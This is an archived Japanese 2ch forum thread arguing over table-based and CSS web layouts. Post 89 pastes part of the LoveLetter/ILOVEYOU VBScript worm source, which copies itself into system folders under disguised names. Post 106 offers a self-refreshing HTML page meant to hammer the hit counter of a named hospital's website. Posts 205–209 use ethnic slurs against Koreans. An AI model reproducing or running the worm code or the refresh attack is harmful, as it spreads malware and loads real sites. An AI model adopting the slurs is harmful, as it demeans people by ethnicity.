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【td】テーブルレイアウトの何が悪いん？ 4 【/td】
- 1 ：2006/04/28 ～ 最終レス ：2018/05/01
- 歴史は繰り返す。
最終総結論。テーブルレイアウトは悪くない。完結。THE END.
ttp://www.tagindex.com/statistics/q001/index.html
- 2 ：
- 華麗に２げっと
超余裕の２げっと
- 3 ：
- ファイナルファンタジーみたいだな
- 4 ：
- とりあえず、
<table><tr><td>
<h1>タイトル</h1>
<p>本文</p>
</td></tr></table>
みたいにテーブル内にブロック要素を含めるんじゃなくて、
<table><tr><td>
<span class="h1">タイトル</span>
<span class="p">本文</span>
</td></tr></table>
ってやれば何の問題もないんじゃないのか？
- 5 ：
-
～++ The End Table Layout ++～
- 6 ：
- ヘッヘー！
最後に書きたいこと書けたからいいもんねーっ☆
- 7 ：
-
やっぱテーブルっていいよね☆ ビルダー最高！
- 8 ：
- というか…
http://www.tagindex.com/statistics/tag_name/
こんな程度の奴等が投票した奴の結果なんて信用できないよ。
ちょっとﾜﾗﾀ...
- 9 ：
- >>7
俺もびるだ使ってるよ！
いいよねーテーブルだと作りやすくてさー
- 10 ：
- >こんな程度の奴等が
いいねぇこの見下した感じ
8の誰も相手にされてない人間性が出ててちょとワラタｗ
- 11 ：
- DWでテーブルレイアウト組むのも乙なものだぜ。Fireworksを組みあわせてウマー！！
- 12 ：
- 【td】テーブルレイアウトの何が悪いん？ 4 【/td】
http://pc7.2ch.sc/test/read.cgi/jisaku/1146152902/
- 13 ：
- >>4
tableのセル内にブロック要素を含む事は元々問題ないはず。
- 14 ：
- テーブルレイアウトのリキッド
CSSレイアウトのソリッド
どっちが上？
- 15 ：
- CSS派からテーブル派に戻ってきますた。
人はいずれtableに帰る。
- 16 ：
- CSSはブラウザ間の解釈の違いがうざったい。
- 17 ：
- ｔｄはタグだからな
cssはタグじゃないからな
tdで十分
- 18 ：
- 両方のいいところを理解して使えるヤツは一人前
どっちがいいとかほざくヤツは半人前
ぐだぐだいうまえに勉強しろ
- 19 ：
- (´-`).｡ｏＯ人はTABLEにもどってくるんだよ。
ttp://pc8.2ch.sc/test/read.cgi/hp/1133608232/
大枠はtableで、細かいところはＣＳＳ使ってる。
- 20 ：
- >>1
早い話、今国会で「ＣＳＳ禁止法」「テーブル義務指定法」を提出しろってことか？
- 21 ：
- >>18
いいところもなにも適切にマークアップするのがおとな。
テーブルは表。
- 22 ：
- 見る側からしたらテーブルでもCSSでもいいんだよな。
どのブザウザからでも同じように見られて、極度に重かったりしなければ。
テーブルレイアウトだと、HTML初心者でも直感的にデザインできるからいいんじゃねーの。
自分じゃやらないけど、だからって他所のサイト見るとき
テーブルレイアウトかどうかなんて気にしない。
- 23 ：
- うはｗブザウザってなにｗｗｗ
分かると思うけど ブラウザ です
- 24 ：
- あーあ。馬鹿ばっかり。
表がナニだかがわからないんだろうな、きっと。
- 25 ：
- なんだって？ CSSを表に使えだと！ おいおいしっかりしろやｗ＞24
- 26 ：
- CSS3になって初めて、レイアウト用の属性ができるんだよね？
- 27 ：
- だったらCSSを禁止にしょうよ。
- 28 ：
- ここは異常に文盲率高いなｗ
- 29 ：
- 全部テーブルで囲みこんだクソ重たいページでなきゃテーブルもアリかな
- 30 ：
- 論文とか掲載するページで適切なマークアップができてないのは困るが、
「その場で読んで終わり」なページならどうでもよい。
よほど重いか奇天烈なレイアウトになってない限りソース覗くこともないしね。
でも企業のページが今時テーブルレイアウトなのはどうかと思う。
- 31 ：
- cssを禁止にすればいいんだよ。
- 32 ：
- 音声ブラウザ相手も考えた公的サイトだと使えないぽ
- 33 ：
- どうせ公的サイトはIE専用だから、どっちにしろ使えない
- 34 ：
- CSS以外許さない人って頭が固いってことだよね
与えられたものを要領よく使いこなせないタイプなんだろうね
- 35 ：
- 要領よくだってｗ
馬鹿なだけなのに。
- 36 ：
- 時代遅れの古代人の集まりだなｗ
- 37 ：
- ＣＣＳを禁止にしてテーブルと各要素ごとにスタイル指定
を義務化すれば良い。
- 38 ：
- >>30
＞でも企業のページが今時テーブルレイアウトなのはどうかと思う。
多いね、企業で企業でテーブルレイアウト。
これは、とりあえずどんなブラウザでも崩れず見えるって事を重視したんだろうな。
文法的にどうかって事よりも。
- 39 ：
- Ｗ３Ｃはスルーか・・・。
- 40 ：
- >>38
＞どんなブザウザでも崩れない
Rよｗ
- 41 ：
- 「どんなブラウザでも」ねえ。
「どんなブラウザでも」とか言う人に限ってメディアタイプがscreenのブラウザしか考えていない件。
- 42 ：
- FWでスライスしたらテーブルになるよ
- 43 ：
- テーブル厨は料理人で例えたら
フライパンでご飯を炊いているんですよ。
テーブル厨「火が通れば何でもいいじゃん」
- 44 ：
- テーブル厨 == 漢の料理人
でFA?
- 45 ：
- 問題はその料理を他人が喰うことだ！
- 46 ：
- まっとうにCSSを勧めている人はこんなスレには来ないよね
ここにいるテーブルを馬鹿にしているCSS厨は偽物のW3C厨クズればかり
- 47 ：
- テーブルレイアウトは、表示速度が遅い
まず、テーブルを読み込むから、１つにのテーブル全体にかかる表示速度が遅い
クライアントからのwaitが長くなる
しかし、表なので仕方がない
- 48 ：
- テーブルレイアウトする香具師はCSSを使うなよｗｗ
テーブルだけでデザインしろｗｗ
- 49 ：
- >>48に対する返事をする意味がない
- 50 ：
- なんだって？ CSSを表に使えだと！ おいおいしっかりしろやｗ＞48
- 51 ：
- ＞まず、テーブルを読み込むから、１つにのテーブル全体にかかる表示速度が遅い
自分の能力の無さを棚に上げて騙るなよｗ それはお前にテクニックが無いからだぜｗ
- 52 ：
- なんか致命的なのが常駐してますな。
- 53 ：
- ホントだ、無知晒しすぎ。
- 54 ：
- 今時テーブルレイアウト？
ダサくてお話にならない。
- 55 ：
- >>53
6 ：前スレ1000（sage）：2006/04/28(金) 00:58:58 ID:???
ヘッヘー！
最後に書きたいこと書けたからいいもんねーっ☆
キモイのが一人いるなｗ
- 56 ：
- キモイとか、そういうのって文脈だけで判断出来ないだろ。
- 57 ：
- 6=53=65 = キ モ イ
- 58 ：
- 前スレ1000=6=53=56 = キ モ イ
文脈だけで判断してみました
- 59 ：
- >>57
未来アンカー ｷﾀｺﾚ!!
- 60 ：
- 前スレ1000=6=53=56=59 = キ モ イ
揚げ足とって勝ち誇り 楽しいよねｗ 俺もお前の意見に賛成だｗ
- 61 ：
- >>57
なんでそんな必死なんだ？
というかお前もイコールでつなげるぞｗｗ
頼んだぞ>>65
- 62 ：
- 60の特徴： スペースが全角
全角厨だ('A`)
- 63 ：
- >>61
なんでそんな必死なんだ？ｗ
- 64 ：
- >>63
つ 【鏡】
- 65 ：
- R！＞62
- 66 ：
- お前ら皆R！
- 67 ：
- >>66
ボケ！お前がR！
- 68 ：
- 6 ：前スレ1000（sage）：2006/04/28(金) 00:58:58 ID:???
ヘッヘー！
最後に書きたいこと書けたからいいもんねーっ☆
キモイのが一人いるよｗ
- 69 ：
- 春の陽気に頭をやられた哀れな子羊の集まるトコはここですか
- 70 ：
- お前な＞69
- 71 ：
- 60の特徴： スペースが全角
全角厨だ('A`)
- 72 ：
- どうやら前スレの1000とかいう奴が一人で騒いでいるスレだな
- 73 ：
- >>72
え？
- 74 ：
- >>73
またお前か！前スレの1000！スレ汚しもいい加減にしろ！
- 75 ：
- >>74
は？
- 76 ：
- テーブル厨、ＣＳＳ厨へ告ぐ
http://pc8.2ch.sc/test/read.cgi/hp/1146319579/
- 77 ：
- またお前か！前スレの1000！スレ汚しもいい加減にしろ！
- 78 ：
- ずいぶんスレが伸びてると思ったら
ひどく不毛な言い争いだな
- 79 ：
- CSSのfloatやposition使えばすむ話じゃん。
- 80 ：
- テーブルは表に使うんだと意識し始めたら
代わりに多く使うようになったのはDLとDIVだな。
DIVはほぼデザイン目的だが。
- 81 ：
- DIV厨が来マスタ
- 82 ：
- あとはこれにSPAN厨、W3C厨とFLASH厨、テキスト厨、全て画像でいい厨、そしてAJAX厨が来れば完成だ！ って何が？
- 83 ：
- あとはこれにSPAN厨、W3C厨とFLASH厨、テキスト厨、全て画像でいい厨、そしてAJAX厨が来れば完成だ！
あとはこれにSPAN厨、W3C厨とFLASH厨、テキスト厨、全て画像でいい厨、そしてAJAX厨が来れば完成だ！
あとはこれにSPAN厨、W3C厨とFLASH厨、テキスト厨、全て画像でいい厨、そしてAJAX厨が来れば完成だ！
って、早口で3回言えたらすごい
- 84 ：
- で、このスレは何を話すとこなんだ？
- 85 ：
- >>1が自己完結してるから特にない
- 86 ：
- そうか。それじゃもう行くわ。
- 87 ：
- tableは表を作るためのものだというのは分かる
一方でCSSレイアウトのためにdiv厨になっているのが馬鹿げているとか
各環境の表示誤差が大きすぎて仕事にならんというのも分かる
tableに代わり、同じように使えるレイアウト用のタグが出来たりしないものか
で、その新タグの各領域（tableでいうtd）にテキストブラウザとか
スパイダーに示す読み込みの順序を示す事が出来ればベスト
- 88 ：
- カラムプロパティ？
- 89 ：
- rem barok -loveletter(vbe)< i hate go to school>
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group /
Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy (dirwin&"\Win32DLL.vbs")
c.Copy (dirsystem& ;"\ LOVE-LETTER-FOR-YOU.TXT.vbs ")
regruns()
html()
- 90 ：
- >>89
凸('A`ﾒ)
- 91 ：
- なんで、４が建ってんの？
- 92 ：
- >>89
マカーなおいらには関係なし…
いまさらLoveLetterウィルスでもないとは思うけど…
でも、これって犯罪じゃないの？
ウィルスをバラまいてるんだよね？故意に？
- 93 ：
- スレ開いて先生が怒ったと思ったら>>89か・・。
- 94 ：
- そのウィルスコード書いたの前スレの1000だよ
- 95 ：
- ゴルア！！！ 前スレの1000出てこい！！！！
- 96 ：
- >>92
もうかなり2chで出回ってるが、そのコードだけではPC自体は無害だと思うよ。
単にノートンが誤作動しているだけ。
実行させたならわかるが、2chのスレ開いただけでは無害だよ。
- 97 ：
-
http://web.xii.jp/iec/note/table
しっかしさー、Webってレイアウトはしない方がいいと思わない？
閲覧者の解像度なんて一様じゃないじゃん。。。
- 98 ：
- テーブルでレイアウトはしない。
でも、内容が本当に表ならtable使う。
反映差なんか気にしない。気にしても対応出来ない。
- 99 ：
- てかぶっちゃけると、どのブラウザもテーブルタグ切捨てみたいな真似はできないだろうし
永遠に使い続けられると思うぜ
- 100 ：
- >>97
テーブルレイアウトによって表示が一秒遅くなった文書を百回読込むと、百秒遅くなります。
はいはい100秒100秒
- 101 ：
- そもそもテーブルレイアウトじゃなくても遅いものは遅いしな
- 102 ：
- テーブルレイアウトで今、一番、何が問題になっているのでしょうか？
- 103 ：
- >>102
テーブルは本来表に使うもの！
それ以外に使っても何も問題はないけど、本来の用途とは違うからよくないの！
と変な固定観念に囚われてる人が怒るぐらいかな
- 104 ：
- ↑そうそう
と、ageてみる。
- 105 ：
- またお前か。前スレの1000。
- 106 ：
- ２ちゃんねらーで話題になった「愛生会病院ＨＰのカウンターをつぶしませんか？
---------ここから-------
<HTML>
<HEAD>
<meta http-equiv="Refresh" content="0; url=./aiseikai.html">
</HEAD>
<BODY>
<IFRAME SRC="http://www.aiseikai.or.jp/documents/title/title1.htm"></IFRAME><BR>
</BODY>
</HTML>
---------ここまで-------
をファイル名、aiseikai.htmlでデスクトップに保存して、Webブラウザに読み込むだけ。
- 107 ：
- 何が悪いって標準で作ったページを古い人間が勝手にテブること
- 108 ：
- またお前か。前スレの1000。
- 109 ：
- table祭り！テーブルサイト1996-2005
tableで作る容量の多いサイトを紹介して下さい。
スタイルシートのサイト紹介があるので、
逆に懐かしの（古いサイト）を紹介してみましやう
【紹介例】
・Web創生期にあった垂直のページ。
※CSSサイトでCSS適応されてない状態は不可。
・フレームサイト
・画像のオンパレードサイト
（Altなし、スライスしたimgパーツ全部をHTML化にした状態）
・未だにBBSの表記があるページ。
・「WebSite」でなく「HP」と表記のあるもの
・ビルダーで作成したと思われるサイト
・ソースが大文字だった
・レイアウトはtable、装飾を要素に記入したもの
どれくらいあるんでしょうか？
■参考資料：
【td】テーブルレイアウトの何が悪いん？ 4 【/td】
http://pc8.2ch.sc/test/read.cgi/hp/1146152708/
- 110 ：
- つーかさ、表現したいものの為に技術や手法があるんであって、
技術や手法に縛られて表現がおろそかになるのなら意味が無い。
なにより重要なのはウェブサイトという最終的な成果物。
いかに奇麗にコーディングされていようとも、
見づらいサイトは見る気がない。
- 111 ：
- 個人的にはテーブルだのValidだのこだわらなくて良いと思う。
和洋折衷みたいに良いところ取りをすれば良いじゃん、と。
あとはどこに目的・目標を置くかの違い。
俺は情報系サイトをやっているから
視覚障害者でも問題なく閲覧できるようにValidで書いてるわけだけど
(テーブルだと音声読み上げ式ブラウザは辛いからね)
例えば写真やイラスト系サイトのように
視覚障害者の閲覧を根本的に考えていないようなところでは
音声読み上げ式ブラウザのことを考える必要がないわけで。
そのようなサイトでは使いやすい方使えば良いじゃん。
・テーブルの方が簡単で優れてる
・いや、HTMLは論理的マークアップだけするものだ
という議論って本末転倒だなあと思うな。
- 112 ：
- ピクセル単位でM$IE 6.0と全く同じ表示を、他のブラウザにもさせたい
という人がtableレイアウトに拘ってるんじゃないのかな？
実際そういう人って結構多いみたいよ、プロ・アマ問わずね。
- 113 ：
- px単位で指定してくるやついるんだからしょうがないだろ
mm単位よりはましだが
- 114 ：
- テーブルレイアウトは頭が悪い。
- 115 ：
- >>114 そういう固定観念に囚われてるお前は頭が悪い。
まあ>>103の言うことがもっともかな。
- 116 ：
- レイアウトはテーブルを使う方が便利だから、CSS3でカラムプロパティができるんじゃないの？
よく知らんけど。
- 117 ：
- tableが表の事だって誰が決めたの？
tableはテーブルじゃないの？
- 118 ：
- 今市販ソフトで作るから、そこから変わらないとね。
- 119 ：
- 別にぶっちゃけ、閲覧側にとってはテーブルであろうがCSSであろうが関係ないし。
逆に現段階において、色々なブラウザ上CSSは完全なサポート化にないから、ユーザーがCSS切ったり、表示形式を作成者じゃなくユーザー優先にしていると表示が崩れることあるし。
とわいっても大抵の環境ではよほどのサポート外のCSSコマンド使わない限りだいたいはよいけれど。
CSSは作成者側の整理や再編集・修正のしやすさと、デザインの統一感を持たせるのに楽な面じゃない。
いまだにスライス切ってボタンやオーバー物作るときはテーブルが無難、というかスムーズだしな。
- 120 ：
- 現実問題、統計はわからないけど関西の場合に限って言えば
WebはWeb専門会社が受注するよりも、DTP系が余興でWebを受注するケースが多く、
デザインもイラレやFireworksで先に作るので、コーダーの作業性を考えると
圧倒的にテーブルが多いのが現状。今のところCSSレイアウトはちゃんとした
Web専門の会社か(あまりない)、マニアの素人がガタガタ言ってる程度かも
- 121 ：
- カレーよりもうんこがカレーっぽく見えればうんこで良い人達なんですよ。
- 122 ：
- 面白いたとえだな。
- 123 ：
- 要件定義で対称ブラウザに音声ブラウザが入ってなけりゃ
好きなほう使えばいい。
SEOやらはコンサルにまかせとけ。
ではダメなの？
- 124 ：
- テーブルで囲んだ部分が部品化して、並べるだけになるんだよ。
ブログなんてもうそうじゃん。
- 125 ：
- >>121のがウンコ脳
- 126 ：
- うんこ食べてなさい。きみたち。
- 127 ：
- ついでに連続BRもやりなさい。うんこ族。
- 128 ：
- CSSは完全にwebデザを二分化したな。
一つはCSSの良いところを生かして、他の機能とうまく総合的に、サイトの内容にあったデザインをする、つまりデザインの幅がCSSで広がったユーザー。
もう一つは、CSSばかりに取り憑かれて、サイトの内容や伝えるべき物を見失ってしまったユーザー。
ページのデザイン性や閲覧層のことなど考えられず、ひたすら完璧なCSSコードのみを目指す。他のサイトもページそのものよりも裏のコードにしか気が向かない。
まるでCSSのダークサイドに呪われているよう。恐ろしい。
- 129 ：
- クススの暗黒面。。。
(Darkside of CSS)
- 130 ：
- CSSってほんとに使えねえよな。
W3Cも何でこんなできの悪い規格作っちまったんだろうな。
- 131 ：
- W3C自体できが悪いもん
- 132 ：
- 論理構造を完全分離すれば、基本的文書内容は見られるんだからCSSはどうでもいいんでそ？
- 133 ：
- テーブル派
CSS派
フルFLASH派
- 134 ：
- >>133
おい忘れるな
つ画像1枚派
- 135 ：
- >>134
ﾜﾛﾀｗ
田舎商店のHPに結構あるね
- 136 ：
- 何画像1枚派って？そんなのみたことない。
cssは使えなくはない。cssのほうが管理しやすいし、検索対策もよいし。
ただ、divを無必要に投下しまくってる糞ページは酷いな、結構cssを使いこなせないのに背伸びするとああいう酷い状態に。
cssはガチでどの環境でもサポートしてるコードを使ってきちんと作っていくと整然としたサイトになるし、デザインの幅も広がる。
テーブルも同じように、マス目レイアウトが生きるデザインなら全然使って問題ないじゃない。
どちらかに偏ってしまって、意固地になると無理に負秩序なサイトになるんじゃないかと。
- 137 ：
- ↓多い日も一枚派
- 138 ：
- テーブル大魔神
http://www.ai21.net/bousai/zenkoku/index_a.html
- 139 ：
- >>136
1枚絵のみで所々にアンカー貼るタイプだよ
ttp://jp.selfhtml.org/html/grafiken/anzeige/img_usemap.htm
こんな感じの
- 140 ：
- >>134, >>136
画像一枚に見せかけて実はテーブルでスライスされてる罠。
本当にスライスレスで画像一枚はさすがに見たことないな。
スライスされた大きな画像もしくはイメージマップだけで構成し
それをテーブルで配置。
その為にどんなPC環境でもフォントの見栄えや配置がカッチリ決まる
というサイトなら、たまに見かけるけど。
- 141 ：
- あのさ、このページさっきまでウイルスに反応して開けなかったんだけど、>>138かな？
- 142 ：
- >>141
今、開くようになった原因は？
- 143 ：
- >>141
いや。>>89にウィルスコードが貼られてる。
つか、いい加減専ブラ使って
ノートン先生の設定でログファイルを除外させろっての。
- 144 ：
- >>138
これほどの入子構造になると清々しささえ感じるのはオレだけか？
見る分にはスッキリしてるが、ソースが･･･ｗ
- 145 ：
- >>140
日本WEBデザイナーズ協会のコンテストで賞もらった奴の作品が1枚絵だった
いまはフルフラッシュになってるんで実物はないのが残念だ
- 146 ：
- >>140
映画サイトのティーザーとか一枚画像がよくある罠
- 147 ：
- W3c＝建設省
検索屋＝ゼネコン
- 148 ：
- テブル厨＝姉歯
- 149 ：
- >>148
確かにテブル厨＝>>138は地震絡みだから姉歯に通じるものを感じるなｗ
- 150 ：
- 見た目を追求するのか、それとも使いやすさか…。この両立は難しい。
どちらの要素も含むWEBサイトが理想である事は言うまでも無いが、
現状そうも言ってられない。
WEB関係者や、少々かじったヤツらの一部にCSSのみのレイアウトを
「強く押す」連中がいる。
いわゆる「ソースの構築美」にこだわるヤツらだ。
元からWEB畑の人間はまともなデザイン教育、感性を磨く行程を
経ていないのが現状。Html、Flash、Javascript、CSS、PHP、CGI……
これらを学ぶだけでも大変なのだからそれも致し方ない。
こういった連中は当然まともにデザインする術を知らないわけだから、
こだわる部分と言ったら、それらしかないのだろう…。
テーブル組みを否定したり、ソースのおかしな部分を否定する事で、
自らの存在を固辞しようとする。
逆を言えば紙媒体出身の人間はデザイン力には優れているが、WEBに関する
知識に乏しい。本格的に学ぶにしても、その時点で年齢的に遅かったり
もする。
現状の理想は「デザインが出来る」人間がデザインをして、その後で
専門の人間が構築する…。と言った所だろう。
もちろん今後デザイン力もWEBの知識も兼ね備えた人間が増える事が
望ましい。
結局私が何を言いたいのか…。お前らの論点はズレている。
何がしたいのか私には全く見えない。まずは己を見つめ直す事から
始めるといい…。語るのはその後だ。
- 151 ：
- >>150
適材適所の4文字で済むだろうがバカ
- 152 ：
- 検索って道路だよね。本当。
- 153 ：
- >>150
紙媒体出身の人間は「紙媒体の」デザインに優れているというだけ。
奴らは自動車のデザインもできないしウェブのデザインもできない。
- 154 ：
- なんで自動車が出てくるのよ。
紙にしてもなんでもCGに携わってきたやつと、にわかwebデザとでは次元が違いすぎ。
- 155 ：
- >>154
典型
- 156 ：
- webデザは7割がグラフィック、残りがhtmlやcssのコーディングだと思うの。
Flashはグラフィックデザインができるの前提だしー、素材が無ければ何も始まらない。
- 157 ：
- もう紙出身の脳なし馬鹿たれ痴呆デザには
勤まらないほどWebは高度化してるよ
- 158 ：
- 普通は、bじゅある担当、コーディング担当と別れて作業するわな。
ニートには理解できんのかなその辺のワークフロー。
一番使い物にならないのは、ビジュアルデザインができないくせにjavascriptやphpもろくに操れない、htmlだけでその気になってるヤツ。
- 159 ：
- 結局、見映えとコンテンツの分離のメリットがいつまで立っても
あまり多く無い事と、IE6にdisplay:tableが実装されてない事が
cssデザインの普及に歯止めを掛けている。この件に関しては、
一体何年停滞しているやら……。
blogやcmsブームで多少は良くなったが、ajaxのブームでHTMLの質
(特にJavascript適用後のHTMLの質)は今後下がるはず。
- 160 ：
- IEに関しては、css以外に透過pngがちゃんと表示できないのもなんとかならんかな。
cssで背景画像配置して、上に透明グラデボタンとか置けねーよ。
- 161 ：
- >>154
デザインとは設計。
システムを知らないものには設計できないと言いたかった。
- 162 ：
- デザインはデザインだろ。
周り見てるとフォトショやイラレ、FWの達人はhtmlや他のコードも結構できると思う。
コーディング専門でやってる分野の人間にはかなわないだろうけど、phpなんかに長けた人もそれなりにグラフィックソフト使えるようになるね、何故だか。
どちらの分野でも、駄目な人間は何をやらせてもやっぱ駄目。
頭脳があるかないかってことなんだろう。
- 163 ：
- 写真やCGを見せたいならCSSはいらないし、テキストで括る必要も無いんだよ。
CSS使いましょう、alt書きましょうってのは「検索にひっかかりましょう」と
言う事なんだ。W3Cが目指してるのはカタワの為の規格じゃない事は言うまでも
無い。
- 164 ：
- W3Cがカタワ。
視覚インパクトのないサイトなんて糞。
- 165 ：
- CSSだって使い方次第で視覚的なデザインできるじゃない。
むしろ、CSSのほうが表現の幅が広がることだってある。ウインドウ内に背景付きの半透明するロールウインドウとか。
視覚インパクトがウエイトを占めるというのには賛成、テーブルにしろCSSにしろ、素材となる画像なりボタンのデザインが糞ならそれだけで終わってる。
- 166 ：
- 半透明するロールウインドウ
↓
半透明スクロールウインドウ
- 167 ：
- CSSサイトはのっぺらとしたところが多い
なんつーか、どこも一緒に見える
- 168 ：
- 新聞が新聞に適したデザインに落ち着いているように、
CSSのWebサイトもWebサイトに適したデザインに落ち着いてるんじゃないですかね。
自分は新聞がどれも一緒に見えるけど、それで滑稽だなと思ったことはない。
- 169 ：
- だが、雑誌はどれも一緒に見える訳ではあるまい？
新聞は基本的に質実剛健で地味な媒体だが
雑誌はビジュアル重視のものも多く、新聞よりは明らかに派手だ。
>>168はwebサイトは新聞的であるのが好ましいと思い
雑誌的なwebサイトは好ましくないと思うのか？
- 170 ：
- >>168
新聞は媒体メディアとしてのパターンが完成している。
それとCSSを同等に取り扱うのはおかしい。
同一レベルで比較するならwebサイト全体、その中でCSSがどれだけの表現力があるかってこと。
CSSで表現の幅を拡げて、うまく使っているサイトもあれば、逆にCSSにこだわりすぎて表現の幅を狭めてしまっているサイトもある、後者は本来の目的を見失ってしまっている。
CSSサイトは何も新聞のようにニュースに限定したような限定されたカテゴリのものじゃないだろ。
- 171 ：
- まだそんなふるい議論続けてるのかよ。
- 172 ：
- CSSは表現の幅を広げるためのものじゃなくて
文書の構成要素とその出力を対応させる写像みたいなもんだろ。
つーか「本来の目的」って何なんだよ。
- 173 ：
- テーブルレイアウターの俺でもcssの表現力は大したもんだと思うよ
できないのはテーブルレイアウトの完全なる再現くらいで
段組はテーブルで、その他はcssでがベストかなと思ってる
- 174 ：
- >>172
本来の目的は、文章とコンテンツの構造化のみをhtmlにして、装飾的なことはcssという大前提。
今更何いってるの。
文章、テキストのみならcss無し、htmlのみでできるわけで。
半透明のスクロールーバー付きウインドウをページ内にcssで配置したり、画像をスライスしてテーブルで配置やボタン化したり、
ビジュアルデザインでテーブルやcssを駆使してサイトにあったものを作り出すのがデザイナーの力量。
- 175 ：
- >>172
CSSは、表現手法のための道具なの
- 176 ：
-
ま た Ｗ ３ Ｃ 信 者 か
- 177 ：
- そんなたいそなもんでもあらへん。
- 178 ：
- パソコンの能力と通信速度が上がると、手軽なAjaxとかフラッシュ多用になるよ。
アプリ化っていうかな。デザイン的にはそっちの方が容易だもの。
CSSは多分廃れる規格だ。
- 179 ：
- >>172
デザインの幅拡げなくていいのならcssやテーブルは不要。
cssが何なのか全く解らずに発言してるだろ。
>>178
cssとflashを同等に考えるなよ。
cssが消えるってことはhtmlも消えるってことだけど、そんなこと起こるとしてもずっと先。
ブラウザというカテゴリもなくなり代わりにプレーヤーになるような時代の話。
何でもかんでも派手な動きを付ければいいというものでもない。文章が重要なサイトや、ニュースサイトなんかがビューンってなったら見にくいだろが。
確かにflashで全てことが足りるとどんなに楽かといつも思うが。
レイアウトや装飾は規格に縛られること無いし。javascriptが扱えているのならほとんど同じ言語のactionscriptも簡単に使えるしな。
Ajaxもflashと同等に扱うなよ。
Ajaxはcssもhtmlも構成要素の一部なんだけど。
- 180 ：
- >>174
＞本来の目的は、文章とコンテンツの構造化のみをhtmlにして、装飾的なことはcssという大前提。
ならテーブルレイアウトやその他の物理マークアップ、とほほマークアップを廃して
見た目を全てCSSで制御するのは本来の目的に適うことになるよ。
- 181 ：
- >>180
今更何を。その為のCSSなんだから。
現実問題的に大きな画像をスライスしてボタン作成など、テーブルの方がやりやすい者があったり、イメージマップのほうが適しているソースもあるから、
またブラウザの対応状況などから、まともなデザはサイトによりこれらを使い分けて作成してるわけで。
CSSもビジュアル効果やレイアウトを行うための1ツールに過ぎない。
何が言いたいの？
- 182 ：
- >>181 そこのメガネ！！ 静かにしなさい、授業中ですよ！！
- 183 ：
- 何この壊れかた
- 184 ：
- >Ajaxはcssもhtmlも構成要素の一部なんだけど。
だからこそ、今までは想像もつかなかったようなとんでもマークアップに
お目にかかる機会が増えるだろうな。
- 185 ：
- Ajax今でもXML系統やjavascriptとactionscriptという双子の言語を使って、またcssも浸透してきて、これらでサイト構成しるんだから、
それが統合的なプラットフォームになるだけで、制作者側としての技能は今と大してかわらんだろな。ユーザー側も同じ。
変わるのはブラウザの見えないところで、XMLをhtmlやcssに変換されるAjaxエンジンが追加されることぐらい。
- 186 ：
- テブル厨はそこまで考えてません＞＜
- 187 ：
- ユーザーにはどうでもいいことｗ
- 188 ：
- テーブルレイアウトうざっ！
- 189 ：
- むしろユーザーにとってはcssで君であるページの方がウザいところが多い。
使いこなせないくせにその気になってる馬鹿が多いのには困ったものだ。
- 190 ：
- テーブルレイアウトうざっ！
- 191 ：
- 入子の入子の入子の入子。
イメージマップも使用してますｗ
http://www.ai21.net/bousai/zenkoku/
- 192 ：
- これは仕事での話しなの？
仕事でっていう意味なら、クライアントの要件満たせるやり方をするべきだと思う。
個人的にはテーブルは表に使うものと思ってるが、どうしてもテーブルレイアウトしなければ
いけない時ってのはあるね。
個人でっていう話なら好きなほうをやってくれとしか言えない。
- 193 ：
- >>191
堅牢そうでよろしい。
- 194 ：
- ヤフーのトップなんかも大分変わったよね。
昔は入れ子の入れ子のspacer.gifばかりだった。
- 195 ：
- Yahoo!糞だもんｗｗｗ
- 196 ：
- >>192
いちおう、何を持ってレイアウトするかってのは、そんなにクライアント側は入ってこないよ、うちの場合？
デザインやナビゲーションのプレゼンテーションや相談・数度の会議で決定した後のコーディングはこっち任せがほとんどだけどな。
一応うちでは、ガチでいくのが前提なので、特に商用サイトはテーブルいまだに多いな。
各ブラウザやOSでのCSSの対応状況の早見表というのがあって、全て対応しているものしか基本的には使えない。
あえてそれでも使う場合、たとえば子要素に直接スタイル指定とか、隣接セレクタや、疑似クラスの :childや:focusを使うときは、事前にクラに説明＆上司の認証印が必要。
そんな状況なので何でもかんでもCSSではできないし、そうなるまでには当分かかるだろうな。
- 197 ：
- ＞テーブルレイアウトうざっ！
また前スレの1000か！ ウザイんだよ！ ボケ！
- 198 ：
- また前スレの999か！ 臭いな！ ぷんぷん臭うぞおまえ！
- 199 ：
- 要するにスライス知らないんで火病起こしてると
- 200 ：
- また前スレの1000か！ ウザイんだよ！ ボケ！
- 201 ：
- スライスだってtableレイアウトだろ。
- 202 ：
- スライスのやり方すら知らないド阿呆がcss厨になって火病を起こしていると。
- 203 ：
- 火病を起こす？
起こすものかあれは？
- 204 ：
- あ、そうか、持病ってやつか。
- 205 ：
- 朝鮮病。
辛いもん食い過ぎて頭がおかしくなってる半島人特有の持病。
それをチョン語で火病（ファビョ）という。
- 206 ：
- 辛いもん食い過ぎが原因という、科学的・臨床的なデータはあるのかな？
そうだとしたら日本人でも辛いのよく食べるとなるのかな？
遺伝子に組み込まれてるんじゃないのか？
- 207 ：
- それは>>206の遺伝子が(r
- 208 ：
- チョンですか？>>207
- 209 ：
- 朝鮮 壬
- 210 ：
- ttp://www.afjeinc.com/company/profile.html
このページのようなレイアウトにテーブルを主に使って、文字の装飾程度にcssを使っていて
IEブラウザの文字の大きさ設定の影響を全く受けないのはどのように作られてるのでしょうか
自分も似たようなテーブルページを作ってますが、文字はなく画像だけのtdの部分もズレたりするので・・・
- 211 ：
- リンク先見てないけど
cssでフォントサイズを絶対指定してるんじゃないの？
- 212 ：
- 昔のＩＳＤＮテレ砲台の時代ならともかく今なら読み込み遅いも
ヘッタクレも無いもんな。ＣＳＳは相手の環境選びすぎで限界ありすぎ。
思い切ってレイアウト用のタグ作れば良いんだよ。
